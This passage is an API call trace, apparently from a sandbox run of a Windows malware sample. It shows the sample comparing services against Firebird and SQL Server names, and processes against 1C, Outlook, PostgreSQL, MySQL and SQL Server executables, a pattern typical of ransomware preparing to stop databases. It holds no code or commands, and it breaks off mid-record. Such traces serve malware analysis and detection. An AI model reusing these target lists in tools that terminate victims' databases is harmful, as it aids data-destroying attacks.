[0043.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0043.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0043.410] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0043.410] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0043.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0043.410] lstrlenW (lpString="MpsSvc") returned 6 [0043.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0043.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0043.410] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0043.410] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0043.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0043.410] lstrlenW (lpString="Netman") returned 6 [0043.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0043.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0043.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0043.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0043.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0043.410] lstrlenW (lpString="netprofm") returned 8 [0043.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0043.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0043.410] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0043.410] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0043.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0043.410] lstrlenW (lpString="NlaSvc") returned 6 [0043.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0043.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0043.410] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0043.410] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0043.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0043.410] lstrlenW (lpString="nsi") returned 3 [0043.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0043.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0043.411] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0043.411] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0043.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0043.411] lstrlenW (lpString="PcaSvc") returned 6 [0043.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0043.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0043.411] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0043.411] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0043.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0043.411] lstrlenW (lpString="PlugPlay") returned 8 [0043.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0043.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0043.411] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0043.411] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0043.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0043.411] lstrlenW (lpString="Power") returned 5 [0043.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0043.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0043.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0043.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0043.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0043.411] lstrlenW (lpString="ProfSvc") returned 7 [0043.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0043.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0043.411] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0043.411] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0043.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0043.411] lstrlenW (lpString="RpcEptMapper") returned 12 [0043.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.411] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0043.411] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0043.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0043.412] lstrlenW (lpString="RpcSs") returned 5 [0043.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0043.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0043.412] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0043.412] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0043.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0043.412] lstrlenW (lpString="SamSs") returned 5 [0043.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0043.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0043.412] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0043.412] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0043.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0043.412] lstrlenW (lpString="Schedule") returned 8 [0043.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0043.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0043.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0043.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0043.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0043.412] lstrlenW (lpString="SENS") returned 4 [0043.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0043.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0043.412] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0043.412] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0043.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0043.412] lstrlenW (lpString="ShellHWDetection") returned 16 [0043.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.412] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0043.412] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0043.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0043.412] lstrlenW (lpString="Spooler") returned 7 [0043.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0043.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0043.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0043.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0043.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0043.413] lstrlenW (lpString="SysMain") returned 7 [0043.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0043.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0043.413] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0043.413] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0043.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0043.413] lstrlenW (lpString="Themes") returned 6 [0043.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0043.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0043.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0043.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0043.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0043.413] lstrlenW (lpString="TrkWks") returned 6 [0043.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0043.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0043.413] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0043.413] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0043.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0043.413] lstrlenW (lpString="UxSms") returned 5 [0043.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0043.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0043.413] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0043.413] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0043.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0043.413] lstrlenW (lpString="VSS") returned 3 [0043.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0043.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0043.413] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0043.414] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0043.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0043.414] lstrlenW (lpString="WdiServiceHost") returned 14 [0043.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.414] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0043.414] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0043.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0043.414] lstrlenW (lpString="WdiSystemHost") returned 13 [0043.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.414] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0043.414] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0043.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0043.414] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0043.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.414] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0043.414] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0043.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0043.414] lstrlenW (lpString="Winmgmt") returned 7 [0043.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0043.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0043.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0043.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0043.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0043.415] lstrlenW (lpString="WPDBusEnum") returned 10 [0043.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.415] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0043.415] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0043.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0043.415] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5d28 | out: hHeap=0x4b0000) returned 1 [0043.415] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0043.417] Process32FirstW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0043.418] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0043.418] lstrlenW (lpString="System") returned 6 [0043.418] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0043.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0043.418] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0043.418] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0043.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0043.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0043.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0043.418] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0043.419] lstrlenW (lpString="smss.exe") returned 8 [0043.419] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0043.419] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0043.419] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0043.419] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0043.419] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0043.419] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0043.419] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0043.419] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.420] lstrlenW (lpString="csrss.exe") returned 9 [0043.420] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.420] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0043.420] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0043.420] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0043.420] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0043.420] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0043.420] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0043.420] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0043.421] lstrlenW (lpString="wininit.exe") returned 11 [0043.421] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0043.421] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0043.421] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0043.421] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0043.421] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0043.421] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0043.421] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0043.421] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.422] lstrlenW (lpString="csrss.exe") returned 9 [0043.422] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.422] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0043.422] lstrlenW (lpString="winlogon.exe") returned 12 [0043.423] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0043.423] lstrlenW (lpString="services.exe") returned 12 [0043.423] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0043.424] lstrlenW (lpString="lsass.exe") returned 9 [0043.424] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0043.424] lstrlenW (lpString="lsm.exe") returned 7 [0043.424] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.425] lstrlenW (lpString="svchost.exe") returned 11 [0043.425] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.426] lstrlenW (lpString="svchost.exe") returned 11 [0043.426] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.426] lstrlenW (lpString="svchost.exe") returned 11 [0043.426] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.427] lstrlenW (lpString="svchost.exe") returned 11 [0043.427] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.428] lstrlenW (lpString="svchost.exe") returned 11 [0043.428] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0043.428] lstrlenW (lpString="audiodg.exe") returned 11 [0043.428] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.429] lstrlenW (lpString="svchost.exe") returned 11 [0043.429] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.430] lstrlenW (lpString="svchost.exe") returned 11 [0043.430] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0043.430] lstrlenW (lpString="dwm.exe") returned 7 [0043.430] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0043.431] lstrlenW (lpString="explorer.exe") returned 12 [0043.431] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0043.431] lstrlenW (lpString="spoolsv.exe") returned 11 [0043.432] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.432] lstrlenW (lpString="taskhost.exe") returned 12 [0043.432] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.433] lstrlenW (lpString="svchost.exe") returned 11 [0043.433] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0043.433] lstrlenW (lpString="taskeng.exe") returned 11 [0043.433] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.434] lstrlenW (lpString="taskhost.exe") returned 12 [0043.434] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0043.435] lstrlenW (lpString="chem venues.exe") returned 15 [0043.435] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0043.435] lstrlenW (lpString="month.exe") returned 9 [0043.435] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0043.436] lstrlenW (lpString="glasgow.exe") returned 11 [0043.436] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0043.436] lstrlenW (lpString="rubber.exe") returned 10 [0043.437] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0043.437] lstrlenW (lpString="petroleum.exe") returned 13 [0043.437] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0043.438] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0043.438] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, 